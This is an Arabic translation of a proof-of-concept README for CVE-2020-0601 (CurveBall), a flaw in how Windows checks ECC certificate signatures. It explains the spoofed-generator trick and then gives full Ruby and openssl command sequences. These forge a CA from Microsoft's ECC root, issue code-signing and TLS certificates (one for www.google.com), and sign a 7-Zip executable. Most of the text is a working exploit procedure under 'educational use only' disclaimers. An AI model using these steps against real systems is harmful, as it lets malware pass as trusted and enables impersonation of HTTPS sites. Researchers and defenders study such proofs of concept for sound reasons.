
CurveBall (CVE-2020-0601) - PoC CVE-2020-0601، أو ما يُشار إليه عادةً باسم CurveBall، هي ثغرة أمنية لا يتم فيها التحقق بشكل صحيح من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC). يمكن للمهاجمين توفير مولّدات مُصمَّمة يدويًا، متجاوزين بذلك التحقق، وبرامج مكافحة الفيروسات، وجميع الإجراءات غير الوقائية.
CVE-2020-0601، أو ما يُشار إليه غالبًا باسم CurveBall، هو ثغرة لا يتم فيها التحقق بشكل صحيح من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC).
يعتمد ECC على معاملات مختلفة. تُستخدم معاملات موحّدة للعديد من المنحنيات. ومع ذلك، لم تتحقق Microsoft من كل هذه المعاملات كما يفعل العباقرة... لم يتم التحقق من المعامل G (المولّد)، وبالتالي يمكن للمهاجم توفير مولّد مُصمَّم يدويًا، وبهذا، عندما تحاول Microsoft التحقق من صحة الشهادة مقابل مرجع مصدق (CA) موثوق، ستبحث فقط عن مفاتيح عامة متطابقة، ومن ثم... بوووم، ستستخدم مولّد الشهادة.
توضح وكالة الأمن القومي (NSA) بوضوح التأثير المدمر لهذه الثغرة والمزيد هنا. شدّ حزامك وانطلق!
MicrosoftECCProductRootCertificateAuthority.cer هو افتراضيًا مرجع مصدق جذري (CA) موثوق يستخدم ECC على Windows 10. لذلك سيتم تلقائيًا الوثوق بأي شيء موقَّع بهذه الشهادة.
ليكن معلومًا، إنهم يراقبون دائمًا... لذا يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.
الحد الأدنى من المتطلبات
openssl 1.1.0
ruby 2.4.0
إذا كنت مهتمًا بالتفاصيل الرياضية لهذه الثغرة، فيرجى قراءة المزيد هنا.
من أجل انتحال الشهادة، عيّن المعاملات التالية:
d' = 1
G' = Q
بحيث يكون Q = Q' = d'G'.
أنشئ شهادة بنفس المفتاح العام ومعاملات مرجع مصدق موثوق. سيتم استخدام هذه الشهادة كمرجع مصدق مزيف خاص بنا. عيّن المولّد على قيمة تعرف مفتاحها الخاص. يمكنك بسهولة تعيين المولّد على المفتاح العام، ويكون المفتاح الخاص معينًا على 1، نظرًا لأن Q = dG.
بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) مع الامتدادات التي ترغب في استخدامها، مثل توقيع التعليمات البرمجية أو مصادقة الخادم.
وقّع طلب الشهادة هذا باستخدام مرجعك المزيف ومفتاح CA، وأضف امتدادات الاستخدام.
اجمع طلب الشهادة الموقَّع (والذي أصبح الآن شهادة عادية) مع مرجع CA المزيف، وستحصل على شهادة موقَّعة وموثوقة.
عندما يتحقق Windows مما إذا كانت الشهادة موثوقة، سيرى أنها قد وُقعت بواسطة مرجع CA المزيف الخاص بنا. ثم ينظر إلى المفتاح العام لمرجع CA المزيف للتحقق من مطابقته لمراجع CA الموثوقة. ثم يتحقق ببساطة من توقيع مرجع CA المزيف باستخدام مولّد مرجع CA المزيف - وهنا تكمن المشكلة.
إذا اخترت فتح شهادتك الجديدة الموقَّعة والموثوقة في Windows، فلن يتعرف عليها كموثوقة، لأنها غير مرتبطة بأي شيء، وبالتالي لن يستخدم مرجع CA المزيف. يجب أن تقدم الشهادة نفسها دائمًا مع مرجع CA المزيف.
يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.
استخرج المفتاح العام من مرجع CA وعدّله وفقًا للثغرة:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
أنشئ شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه هي مرجع CA المزيف الخاص بنا.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
أنشئ مفتاحًا جديدًا. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيُستخدم لإنشاء شهادة توقيع تعليمات برمجية، سنقوم بتوقيعها باستخدام مرجع CA الخاص بنا.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) جديد. غالبًا ما يُرسل هذا الطلب إلى مراجع CA موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزيفًا، يمكننا توقيعه بأنفسنا.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
وقّع طلب CSR الجديد الخاص بك باستخدام مرجع CA المزيف ومفتاح CA الخاص بنا. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما تنتهي صلاحية مرجع CA الموثوق من Microsoft في عام 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
لم يتبق سوى حزم الشهادة ومفتاحها ومرجع CA المزيف في ملف PKCS12 لتوقيع الملفات التنفيذية.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
وقّع ملفك التنفيذي باستخدام ملف PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط. استخرج المفتاح العام من مرجع CA وعدّله وفقًا للثغرة:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
أنشئ شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه هي مرجع CA المزيف الخاص بنا.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
أنشئ مفتاحًا جديدًا. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيُستخدم لإنشاء شهادة SSL، سنقوم بتوقيعها باستخدام مرجع CA الخاص بنا.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) جديد. غالبًا ما يُرسل هذا الطلب إلى مراجع CA موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزيفًا، يمكننا توقيعه بأنفسنا.
إذا كنت ترغب في تغيير اسم النطاق، فعدّل CN = www.google.com إلى CN = www.example.com داخل openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
وقّع طلب CSR الجديد الخاص بك باستخدام مرجع CA المزيف ومفتاح CA الخاص بنا. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما تنتهي صلاحية مرجع CA الموثوق من Microsoft في عام 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
يمكنك الآن استخدام cert.crt و cert.key و spoofed_ca.crt لتقديم المحتوى الخاص بك. مرة أخرى، تذكر إضافة spoofed_ca.crt كسلسلة شهادات في إعداد HTTPS لخادمك.
انظر مثال الاستخدام في [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).
يُرجى استخدام هذا للأغراض التعليمية والبحثية فقط.